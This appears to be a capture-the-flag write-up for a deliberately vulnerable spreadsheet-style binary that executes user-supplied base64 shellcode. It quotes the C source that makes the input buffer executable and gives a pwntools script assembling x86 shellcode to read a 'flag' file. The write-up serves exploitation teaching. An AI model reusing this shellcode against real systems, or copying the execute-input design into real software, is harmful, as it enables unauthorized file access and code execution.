Spreadsheets. They are cloud-native ways to turn data into insights. They save time with extensible interfaces that jumpstart trend analysis. But until now, they’ve never run shellcode.
Introducing powered by dead®: Dangerously Extensible Ancient Database. The only database firmware fearless enough to strip away the stringy/chewy meat of traditional spreadsheet software and leave only the pure and perfect shell.
❯ ./dead
dead: CLI utility for the Dangerously Extensible Ancient Database
Usage: ./dead <filename> <operation> [cell] [argument]
filename Name of the file update
operation UPDATE or UPDATE_EX
cell If operation is UPDATE or UPDATE_EX, specifies the row,column of the
cell on which to perform the update operation
argument If operation is UPDATE, specifies the value to update the cell with
If operation is UPDATE_EX, specifies the base64 encoded shellcode used
to update the cell. The shellcode starts at address 0x804c080
Source code and this message show that UPDATE_EX really does execute some shellcode.
if (ex) {
int shellcode_length;
char *decoded = base64_decode(argument, &shellcode_length);
shellcode_length = shellcode_length < MAX_LEN ? shellcode_length : MAX_LEN;
memcpy(shellcode, decoded, shellcode_length);
free(decoded);
// Run shellcode to determine the value with which to update the cell
mprotect(shellcode - ((long int)shellcode % 4096), 4096, PROT_READ | PROT_WRITE | PROT_EXEC);
char *(*shellcode_func)() = (char *(*)())shellcode;
char *result = shellcode_func();
// Copy the result of running the shellcode into the cell
contents[row][col] = malloc(strlen(argument) + 1);
memcpy(contents[row][col], result, strlen(result) + 1);
}
This database updates upon refresh. Entering most strings (that don’t correspond to b64 shellcode that returns a pointer to a string) results in an empty cell. If the shellcode does return such a pointer, it will contain the contents of that string. For example, the address 0x804973c corresponds to the string “=” in memory. Shellcode
mov eax,0x804973c
ret
(base64 uDyXBAjD)
results in a cell with these contents:
So if we write shellcode that reads a file named “flag” into a buffer, whose address is moved to eax…
#!/usr/bin/python
from pwn import *
from base64 import b64encode
bss_addr = 0x0804c060
flag_addr = bss_addr + 5
payload = asm(f"""
pushad
mov eax, 0x5
push 0x67616c66
mov ebx, esp
mov ecx, 0x0
mov edx, 0x0
int 0x80
mov ebx, eax
mov eax, 0x3
mov ecx, {bss_addr}
mov edx, 0x40
int 0x80
popad
mov eax, {bss_addr}
ret
""")
print(b64encode(payload))
We replace our cell with the contents of the flag file!